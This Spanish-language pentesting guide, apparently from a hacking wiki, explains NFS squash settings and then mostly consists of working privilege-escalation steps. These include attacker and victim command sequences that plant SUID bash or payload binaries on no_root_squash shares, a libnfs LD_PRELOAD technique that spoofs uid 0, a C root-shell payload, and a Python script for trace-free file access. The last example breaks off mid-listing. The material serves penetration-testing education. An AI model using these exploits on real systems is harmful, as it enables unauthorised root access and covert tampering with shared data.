RootedCON

​​RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

Learn more

Información Básica sobre Squashing

NFS generalmente (especialmente en Linux) confía en el uid y gid indicados por el cliente que se conecta para acceder a los archivos (si no se utiliza kerberos). Sin embargo, hay algunas configuraciones que se pueden establecer en el servidor para cambiar este comportamiento:

• all_squash: Aplana todos los accesos mapeando a cada usuario y grupo a nobody (65534 sin signo / -2 con signo). Por lo tanto, todos son nobody y no se utilizan usuarios.
• root_squash/no_all_squash: Este es el valor predeterminado en Linux y solo aplana el acceso con uid 0 (root). Por lo tanto, cualquier UID y GID son confiables, pero 0 se aplana a nobody (por lo que no es posible la suplantación de root).
• no_root_squash: Esta configuración, si está habilitada, ni siquiera aplana al usuario root. Esto significa que si montas un directorio con esta configuración, puedes acceder a él como root.

En el archivo /etc/exports, si encuentras algún directorio que esté configurado como no_root_squash, entonces puedes acceder a él como cliente y escribir dentro de ese directorio como si fueras el root local de la máquina.

Para más información sobre NFS, consulta:

2049 - Pentesting NFS Service

Escalación de Privilegios

Explotación Remota

Opción 1 usando bash:

• Montando ese directorio en una máquina cliente, y como root copiando dentro de la carpeta montada el binario /bin/bash y dándole derechos SUID, y ejecutando desde la máquina víctima ese binario bash.
• Ten en cuenta que para ser root dentro del recurso compartido NFS, no_root_squash debe estar configurado en el servidor.
• Sin embargo, si no está habilitado, podrías escalar a otro usuario copiando el binario al recurso compartido NFS y dándole el permiso SUID como el usuario al que deseas escalar.

#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell

Opción 2 usando código compilado en C:

• Montando ese directorio en una máquina cliente, y como root copiando dentro de la carpeta montada nuestra carga útil compilada que abusará del permiso SUID, dándole derechos de SUID, y ejecutando desde la máquina víctima ese binario (puedes encontrar aquí algunos C SUID payloads).
• Las mismas restricciones que antes.

#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

Local Exploit

Basic Information

El escenario implica explotar un recurso compartido NFS montado en una máquina local, aprovechando un defecto en la especificación de NFSv3 que permite al cliente especificar su uid/gid, lo que potencialmente habilita el acceso no autorizado. La explotación implica usar libnfs, una biblioteca que permite la falsificación de llamadas RPC de NFS.

Compiling the Library

Los pasos de compilación de la biblioteca pueden requerir ajustes según la versión del kernel. En este caso específico, las llamadas al sistema fallocate fueron comentadas. El proceso de compilación implica los siguientes comandos:

./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

Realizando el Explotación

La explotación implica crear un programa C simple (pwn.c) que eleva privilegios a root y luego ejecuta un shell. El programa se compila y el binario resultante (a.out) se coloca en el recurso compartido con suid root, utilizando ld_nfs.so para falsificar el uid en las llamadas RPC:

1. Compilar el código de explotación:

cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out

2. Coloca el exploit en el recurso compartido y modifica sus permisos falsificando el uid:

LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out

3. Ejecutar el exploit para obtener privilegios de root:

/mnt/share/a.out
#root

Bonus: NFShell para Acceso a Archivos Sigiloso

Una vez que se obtiene acceso root, para interactuar con el recurso compartido de NFS sin cambiar la propiedad (para evitar dejar rastros), se utiliza un script de Python (nfsh.py). Este script ajusta el uid para que coincida con el del archivo que se está accediendo, lo que permite interactuar con archivos en el recurso compartido sin problemas de permisos:

#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os

def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))

Ejecutar como:

# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old